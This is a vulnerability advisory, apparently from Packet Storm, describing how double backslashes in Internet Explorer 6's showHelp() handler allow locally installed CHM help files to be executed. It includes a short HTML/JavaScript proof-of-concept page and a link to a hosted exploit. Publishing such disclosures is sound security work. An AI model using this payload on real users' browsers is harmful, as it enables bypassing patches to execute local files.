A weakness in the way Microsoft IE fails to handle double backslashes in Showhelp() allows for yet another way to locally execute files.
e6025e6f855e3e86bba8dbca696e934acbd452d1a4f6b0fc2d7ce31157ceecb1
advisory#3
/--------------------------------------------------------------------/
Vendor: Microsoft Corp.
product: IE.6
test machine: winxp.pro.ed ,ie6 (FP)
Discovery by: Roozbeh Afrasiabi
(roozbeh_afrasiabi(At)yahoo(dot)com)
Risk: Low
Title: Showhelp() local CHM file execution
/--------------------------------------------------------------------/
TABLE OF CONTENTS:
==================
Description..............................................1
PoC......................................................2
Exploit..................................................3
Contact info.............................................4
Disclaimer...............................................5
1)Description:
==================
While previous patches were to stop showhelp from executing CHM files
using their path, a weakness in the way the double "\" is handled by
the its protocol handler allows for the execution of locally installed
CHM files.when "\\" is placed before the name of target CHM file the
HELP folder is searched for such name , if the help folder dose not
contain a file with that name then the rootdrive would be the next
path to be searched,when a file with that name is found in either of
these paths it would be executed .
2)POC
=========
<html>
<head>
<title>POC</title>
<p><br><b>HTM help file opened in an iframe</b><br><br>
<iframe id="target" width="700" height="400" src="ms-its:" name="target" scrolling="yes">
</iframe>
<!----SCRIPT LANGUAGE=javascript>
function getlink(){
showHelp("ms-its:\\ntshared.chm::/copyright.htm");
target.location="ms-its:\\ntshared.chm::/copyright.htm";
}
<!-----/script>
</head>
<body onload=getlink()>
</body>
</html>
3)Exploit
===========
http://www.freewebs.com/roozbeh_afrasiabi/xploit/index.htm
4)Contact Info
==================
roozbeh_afrasiabi(at)yahoo(dot)com
da_stone_cold_killer(at)yahoo(dot)com
me@persia-fars-shiraz
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xkEvaT1IWeaDemU5dYAysPsAnRP6Qyw1DM3gHhxl6m+bjEwPX6AG
=q+hK
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5)Disclaimer
==================
Roozbeh Afrasiabi is not responsible for the misuse of the information provided in this report. In no event shall the author be liable for any damages whatsoever arising out of or in connection with the use or spread of this advisory. Any use of the information is at the user's own risk.
All Rights Reserved
© 2022 Packet Storm. All rights reserved.
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